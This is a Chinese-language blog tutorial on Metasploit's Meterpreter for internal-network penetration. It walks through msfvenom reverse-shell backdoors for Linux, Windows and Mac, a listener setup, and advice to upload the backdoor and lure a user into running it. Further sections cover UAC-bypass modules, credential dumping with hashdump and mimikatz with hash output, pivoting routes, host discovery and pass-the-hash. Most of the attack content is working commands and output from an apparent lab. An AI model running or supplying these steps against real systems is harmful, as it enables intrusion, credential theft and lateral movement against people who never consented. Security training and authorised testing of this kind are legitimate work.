Meterpreter基础
内网渗透经常会用到这个东西,有必要学一下.
我们经常再msf里通过某个payload获取了shell会话。这时就会打开一个meterpreter接口。它功能很强大,而且是在内存中工作的,不容易被发现。
Contents
如何进入Meterpreter会话
1.通过exp,msf的exp攻击成功后, 有机会获得meterpreter会话(取决于exp危害等级)
2.通过msfvenom后门。
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads
还有诸如PHP,JSP等语言型后门,msfvenom也可以生成,这里就不展开说了
https://www.cnblogs.com/tianlinlin/p/10171981.html 这个文章记载了很多后门
然后在本地开启监听。这里以windows为例
msf > use exploit/multi/handler #加载模块
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp #设置payload
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost kali的ip #设置kali的ip
lhost => 192.168.152.131
msf exploit(multi/handler) > set lport 1211 #设置kali的端口
lport => 1211
msf exploit(multi/handler) > exploit #执行
然后通过某种方式将后门上传到用户机器上并诱导他运行该程序。本地监听就会得到一个meterpreter接口。
另外附一个msfvenom的文章https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484720&idx=1&sn=2772684974b506ee81f7e8def15a37ed&scene=21#wechat_redirect
Meterpreter常用命令
最基本命令
1.background 将当前meterpreter终端隐藏到后台
2.sessions 查看已经获取到的会话
3.quit 直接关闭并退出当前会话
4.shell 进入shell交互
meterpreter > shell
Process 1100 created.
Channel 1 created.
Microsoft Windows [°汾 6.1.7601]
°爨?? (c) 2009 Microsoft Corporation??±?????{??
C:\phpStudy\WWW>
5.irb 进入ruby终端交互(不懂)
文件系统命令
1.cat 获取指定文件的内容 cat /etc/passwd
2.getwd 获取目标及当前的工作目录
3.upload 上传文件到目标机 upload a b 将文件a上传到目标机b位置
4.download 下载命令 download a b 将目标机上文件a下载到本地b位置
5.edit 调用vi编辑指定文件 edit X
6.search 搜索文件,详细参数参见于-h
网络命令
1.ipconfig 获取目标机网络信息
2.portfwd 端口转发器
比如要把目标机192.168.1.2的3389端口转发到本机的1234端口上:
portfwd add -l 1234 -p 3389 -r 192.168.1.2
此后本地的1234端口会被开放
3.route 用于显示目标主机的路由信息

系统命令
1.ps 获得目标主机上运行的进程信息
2.migrate 将meterpreter会话从一个进程移植到另一个进程中去
这个命令的用途场景:meterpreter是通过IE浏览器漏洞溢出得到的,意味着用户关闭浏览器进程我们的会话就会丢失,所以我们需要把会话的进程转移到另一个进程中去
3.execute 执行目标机上的文件
4.getpid 获取当前会话的PID
5.kill 杀死指定进程
6.getuid 获取运行meterpreter会话的用户名
7.sysinfo 获取目标系统的一些信息
8.shutdown 关机目标机
权限提升
1.getsystem
在没有uac的情况下可以直接在meterpreter键入getsystem获得system权限(windows)
uac功能在运行一些只有管理员权限才能运行程序时回弹窗对用户进行询问,用户点击同意后程序才能以管理员或者system权限运行。
而getsystem提权第一个操作就是 创建一个新的Windows服务,设置为SYSTEM运行 ,会被uac拦截。
2.绕过uac
msf有很多exp可以直接用
msf>use exploit/windows/local/bypassuac
msf>use exploit/windows/local/bypassuac_injection
msf>use windows/local/bypassuac_vbs
msf>use windows/local/ask
msf>set SESSION 2
msf>run
3.内核漏洞提权
meterpreter > run post/windows/gather/enum_patches 使用这个模块查看补丁信息
[*] Patch list saved to /root/.msf4/loot/20200902222331_default_192.168.64.132_enum_patches_901657.txt
[*] KB2534111 applied
[*] KB2999226 applied
[*] KB958488 applied
[*] KB976902 applied
然后根据补丁情况使用内核漏洞提权
口令抓取
1.使用smart_hashdump/hashdump 抓取目标机上的密码hash值
在获得system权限的情况下
meterpreter > run windows/gather/smart_hashdump
[*] Running module against STU1
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20200902222931_default_192.168.64.132_windows.hashes_399226.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY fd4639f4e27c79683ae9fee56b44393f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] No users with password hints on this system
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
也可以直接使用hashdump,但是hashdump的效果没有smart_hashdump好
2.mimikatz抓取密码
meterpreter>load mimikatz 加载mimikatz
meterpreter > msv 使用msv命令获取登录密码的hash值(需system权限)
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;881431 Kerberos GOD Administrator mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Ō憄 ReadProcessMemory WriteProcessMemory n.a. (msv1_0 KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Ō憄 ReadProcessMemory WriteProcessMemory n.a. (msv1_0 KO)
0;996 Negotiate GOD STU1$ mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Ō憄 ReadProcessMemory WriteProcessMemory n.a. (msv1_0 KO)
0;50621 NTLM mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Ō憄 ReadProcessMemory WriteProcessMemory n.a. (msv1_0 KO)
0;999 Negotiate GOD STU1$ mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Ō憄 ReadProcessMemory WriteProcessMemory n.a. (msv1_0 KO)
## 以上是某种情况下出错了抓到的hash
meterpreter > kerberos 抓取明文密码(有时不奏效)
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;10408969 NTLM CLOUDVM Administrator
0;266228 NTLM CLOUDVM Administrator
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP CLOUDVM$
0;23595 NTLM
0;999 NTLM WORKGROUP CLOUDVM$
以上是利用meterpreter的”简化版“mimikatz命令来抓取。我们也可以是用
mimikatz_command -f command 来直接使用mimikatz命令
meterpreter > mimikatz_command -f samdump::hashes 抓取哈希
Ordinateur : stu1.god.org
BootKey : fd4639f4e27c79683ae9fee56b44393f
Rid : 500
User : Administrator
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
Rid : 501
User : Guest
LM :
NTLM :
Rid : 1000
User : liukaifeng01
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
内网扩展
1.添加路由
添加路由的作用是,我们举一个很常见的场景。
我们的主机kali攻破了主机A,想要继续攻击B主机,但是AB主机在同一个内网网段,我们的kali不能直接攻击B,这个时候就需要添加B主机的路由了。
meterpreter > run autoroute -s 192.168.52.0/24 添加一个网段的路由
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.64.132
[*] Use the -p option to list all active routes
2.信息收集
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24 #主机发现
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
3.HASH传递攻击(PTH)
HASH传递攻击其实本质就是密码复用:本地用户的账户密码和域控的账户密码相同,那么我们根本就不需要把hash解密出来,直接把hash传递到域控作为自己的登陆凭证即可。 用psexec模块(msf里)即可http://www.const27.com/2020/09/02/hash%e4%bc%a0%e9%80%92%e6%94%bb%e5%87%bb/
4.票据传递攻击(PTT)